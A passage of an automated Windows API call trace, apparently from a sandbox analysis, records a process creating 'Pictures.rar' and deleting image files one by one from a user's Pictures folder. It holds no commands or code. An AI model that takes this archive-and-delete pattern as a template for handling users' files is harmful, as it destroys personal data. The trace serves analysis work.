lpDistanceToMoveHigh=0xf00f8dd500*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8dd500*=0) returned 0x2164cc [0066.931] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b084ec890 [0066.931] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ec890 | out: hHeap=0x28b08430000) returned 1 [0066.931] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d9bb0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d9bb0*=0) returned 0x2164cc [0066.931] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b084ec890 [0066.931] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ec893*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0xf00f8d81f0, lpOverlapped=0x0 | out: lpBuffer=0x28b084ec893*, lpNumberOfBytesWritten=0xf00f8d81f0*=0x13, lpOverlapped=0x0) returned 1 [0066.931] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ec890 | out: hHeap=0x28b08430000) returned 1 [0066.931] WriteFile (in: hFile=0x32c, lpBuffer=0x28b0a22fdf0*, nNumberOfBytesToWrite=0xfdd, lpNumberOfBytesWritten=0xf00f8dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x28b0a22fdf0*, lpNumberOfBytesWritten=0xf00f8dd5e0*=0xfdd, lpOverlapped=0x0) returned 1 [0066.931] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c100ef0 | out: hHeap=0x28b08430000) returned 1 [0066.931] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8db5f0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xf00f8db5f0*=0) returned 0x2174bc [0066.931] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xf00f8d7cd0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xf00f8d7cd0*=0) returned 0x2174bc [0066.931] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x20) returned 0x28b084ec890 [0066.931] WriteFile (in: hFile=0x32c, lpBuffer=0x28b084ec893*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf00f8d6310, lpOverlapped=0x0 | out: lpBuffer=0x28b084ec893*, lpNumberOfBytesWritten=0xf00f8d6310*=0x8, lpOverlapped=0x0) returned 1 [0066.931] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ec890 | out: hHeap=0x28b08430000) returned 1 [0066.931] CloseHandle (hObject=0x32c) returned 1 [0067.255] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x33f, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="Deleting") returned 0x8 [0067.255] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x60) returned 0x28b0c1005c0 [0067.255] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b0c1005c0 | out: hHeap=0x28b08430000) returned 1 [0067.255] DeleteFileW (lpFileName="zoYWy0tnNuqg-Zdh4.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\zoywy0tnnuqg-zdh4.gif")) returned 1 [0067.352] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.352] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.352] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="adding") returned 6 [0067.352] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0067.352] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.352] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="Saved Pictures") returned 14 [0067.352] SetWindowTextW (hWnd=0x102c6, lpString="zoYWy0tnNuqg-Zdh4.gif") returned 1 [0067.353] GetTickCount () returned 0x26bb0 [0067.353] UpdateWindow (hWnd=0x102be) returned 1 [0067.353] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.353] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.353] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0067.353] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.353] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="zoYWy0tnNuqg-Zdh4.gif") returned 21 [0067.353] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0067.354] GetTickCount () returned 0x26bb0 [0067.354] GetLastError () returned 0x0 [0067.354] SetLastError (dwErrCode=0x0) [0067.354] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0067.354] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0067.354] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0067.354] SetWindowTextW (hWnd=0x102c8, lpString=" 2%") returned 1 [0067.356] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x2, lParam=0x0) returned 0x0 [0067.356] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15868468578) returned 1 [0067.356] GetTickCount () returned 0x26bc0 [0067.356] GetLastError () returned 0x0 [0067.356] SetLastError (dwErrCode=0x0) [0067.356] GetDlgItem (hDlg=0x102be, nIDDlgItem=154) returned 0x102d0 [0067.356] GetWindowTextW (in: hWnd=0x102d0, lpString=0xf00f8dc090, nMaxCount=2560 | out: lpString="00:00:03") returned 8 [0067.356] SetWindowTextW (hWnd=0x102d0, lpString="00:00:04") returned 1 [0067.357] GetTickCount () returned 0x26bc0 [0067.357] GetLastError () returned 0x0 [0067.357] SetLastError (dwErrCode=0x0) [0067.357] GetDlgItem (hDlg=0x102be, nIDDlgItem=151) returned 0x102d4 [0067.357] GetWindowTextW (in: hWnd=0x102d4, lpString=0xf00f8dc090, nMaxCount=2560 | out: lpString="00:00:00") returned 8 [0067.357] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0067.360] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0067.360] GetFocus () returned 0x102e2 [0067.360] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0067.360] DeleteFileW (lpFileName="zdKqdR.png" (normalized: "c:\\users\\fd1hvy\\pictures\\zdkqdr.png")) returned 1 [0067.470] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.471] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.471] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.471] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0067.471] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.471] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.471] SetWindowTextW (hWnd=0x102c6, lpString="zdKqdR.png") returned 1 [0067.472] GetTickCount () returned 0x26c2d [0067.472] UpdateWindow (hWnd=0x102be) returned 1 [0067.472] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.472] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.472] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0067.472] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.472] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="zdKqdR.png") returned 10 [0067.472] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0067.472] GetTickCount () returned 0x26c2d [0067.472] GetLastError () returned 0x0 [0067.472] SetLastError (dwErrCode=0x0) [0067.472] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0067.472] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0067.473] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 2%") returned 5 [0067.473] SetWindowTextW (hWnd=0x102c8, lpString=" 4%") returned 1 [0067.473] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x4, lParam=0x0) returned 0x2 [0067.473] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15880163914) returned 1 [0067.473] GetTickCount () returned 0x26c2d [0067.473] GetTickCount () returned 0x26c2d [0067.473] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0067.473] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0067.473] GetFocus () returned 0x102e2 [0067.473] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0067.473] DeleteFileW (lpFileName="Z8PEjH5b.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\z8pejh5b.jpg")) returned 1 [0067.475] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.475] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.475] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.475] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0067.475] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.475] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.475] SetWindowTextW (hWnd=0x102c6, lpString="Z8PEjH5b.jpg") returned 1 [0067.476] GetTickCount () returned 0x26c2d [0067.476] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.476] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.476] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0067.476] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.476] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Z8PEjH5b.jpg") returned 12 [0067.476] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0067.477] GetTickCount () returned 0x26c2d [0067.477] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15880516898) returned 1 [0067.477] GetTickCount () returned 0x26c2d [0067.477] GetTickCount () returned 0x26c2d [0067.477] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0067.477] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0067.477] GetFocus () returned 0x102e2 [0067.477] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0067.477] DeleteFileW (lpFileName="y_QmYlvwtNWjwI0tZ.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\y_qmylvwtnwjwi0tz.bmp")) returned 1 [0067.479] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.479] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.479] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.479] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0067.479] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.479] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.479] SetWindowTextW (hWnd=0x102c6, lpString="y_QmYlvwtNWjwI0tZ.bmp") returned 1 [0067.481] GetTickCount () returned 0x26c3d [0067.481] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.481] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.481] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0067.482] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.482] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="y_QmYlvwtNWjwI0tZ.bmp") returned 21 [0067.482] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0067.482] GetTickCount () returned 0x26c3d [0067.482] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15881064514) returned 1 [0067.482] GetTickCount () returned 0x26c3d [0067.482] GetTickCount () returned 0x26c3d [0067.482] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0067.482] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0067.482] GetFocus () returned 0x102e2 [0067.482] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0067.482] DeleteFileW (lpFileName="yWEcS.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ywecs.bmp")) returned 1 [0067.597] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.597] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.597] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.597] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0067.598] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.598] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.598] SetWindowTextW (hWnd=0x102c6, lpString="yWEcS.bmp") returned 1 [0067.598] GetTickCount () returned 0x26caa [0067.598] UpdateWindow (hWnd=0x102be) returned 1 [0067.598] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.598] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.598] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0067.598] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.598] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="yWEcS.bmp") returned 9 [0067.598] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0067.599] GetTickCount () returned 0x26caa [0067.599] GetLastError () returned 0x0 [0067.599] SetLastError (dwErrCode=0x0) [0067.599] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0067.599] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0067.599] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 4%") returned 5 [0067.599] SetWindowTextW (hWnd=0x102c8, lpString=" 11%") returned 1 [0067.599] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0xb, lParam=0x0) returned 0x4 [0067.600] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15892858477) returned 1 [0067.600] GetTickCount () returned 0x26caa [0067.600] GetTickCount () returned 0x26caa [0067.600] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0067.600] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0067.600] GetFocus () returned 0x102e2 [0067.600] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0067.600] DeleteFileW (lpFileName="yova8.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\yova8.bmp")) returned 1 [0067.601] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.601] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.601] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.601] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0067.602] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.602] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.602] SetWindowTextW (hWnd=0x102c6, lpString="yova8.bmp") returned 1 [0067.602] GetTickCount () returned 0x26caa [0067.602] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.602] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.602] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0067.603] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.603] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="yova8.bmp") returned 9 [0067.603] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0067.603] GetTickCount () returned 0x26caa [0067.603] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15893163132) returned 1 [0067.603] GetTickCount () returned 0x26caa [0067.603] GetTickCount () returned 0x26caa [0067.603] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0067.603] DeleteFileW (lpFileName="YBodpCQ1OYUO B.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\ybodpcq1oyuo b.gif")) returned 1 [0067.605] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.605] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.605] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.605] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0067.606] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.606] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.606] SetWindowTextW (hWnd=0x102c6, lpString="YBodpCQ1OYUO B.gif") returned 1 [0067.606] GetTickCount () returned 0x26cba [0067.606] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.606] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.606] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0067.607] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.607] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="YBodpCQ1OYUO B.gif") returned 18 [0067.607] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0067.607] GetTickCount () returned 0x26cba [0067.607] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15893568187) returned 1 [0067.607] GetTickCount () returned 0x26cba [0067.607] GetTickCount () returned 0x26cba [0067.607] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0067.607] DeleteFileW (lpFileName="Ww lmr4coeaZVkLVzHS.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\ww lmr4coeazvklvzhs.jpg")) returned 1 [0067.608] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.609] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.609] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.609] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0067.609] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.609] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.609] SetWindowTextW (hWnd=0x102c6, lpString="Ww lmr4coeaZVkLVzHS.jpg") returned 1 [0067.610] GetTickCount () returned 0x26cba [0067.610] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.610] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.610] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0067.610] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.610] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Ww lmr4coeaZVkLVzHS.jpg") returned 23 [0067.610] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0067.611] GetTickCount () returned 0x26cba [0067.611] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15893953439) returned 1 [0067.611] GetTickCount () returned 0x26cba [0067.611] GetTickCount () returned 0x26cba [0067.611] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0067.611] DeleteFileW (lpFileName="W-jIjn6.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\w-jijn6.gif")) returned 1 [0067.612] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.612] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.612] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.613] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0067.613] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.613] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.613] SetWindowTextW (hWnd=0x102c6, lpString="W-jIjn6.gif") returned 1 [0067.614] GetTickCount () returned 0x26cba [0067.614] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.614] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.614] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0067.614] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.614] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="W-jIjn6.gif") returned 11 [0067.614] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0067.615] GetTickCount () returned 0x26cba [0067.615] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15894318606) returned 1 [0067.615] GetTickCount () returned 0x26cba [0067.615] GetTickCount () returned 0x26cba [0067.615] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0067.615] DeleteFileW (lpFileName="svWwwq0D.png" (normalized: "c:\\users\\fd1hvy\\pictures\\svwwwq0d.png")) returned 1 [0067.616] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.616] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.616] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.617] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0067.617] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.617] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0067.617] SetWindowTextW (hWnd=0x102c6, lpString="svWwwq0D.png") returned 1 [0067.617] GetTickCount () returned 0x26cba [0067.617] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0067.617] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0067.617] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0067.618] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0067.618] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="svWwwq0D.png") returned 12 [0067.618] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0067.618] GetTickCount () returned 0x26cba [0067.618] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15894711984) returned 1 [0067.619] GetTickCount () returned 0x26cba [0067.619] GetTickCount () returned 0x26cba [0067.619] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0067.619] PeekMessageW (in: lpMsg=0xf00f8dd5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd5a0) returned 0 [0067.619] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0067.619] DeleteFileW (lpFileName="sj6 1xhDAi0ypw.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\sj6 1xhdai0ypw.jpg")) returned 1 [0067.620] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0067.620] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.055] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.055] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.055] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.055] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.056] SetWindowTextW (hWnd=0x102c6, lpString="sj6 1xhDAi0ypw.jpg") returned 1 [0068.056] GetTickCount () returned 0x26e6f [0068.056] UpdateWindow (hWnd=0x102be) returned 1 [0068.056] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.056] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: 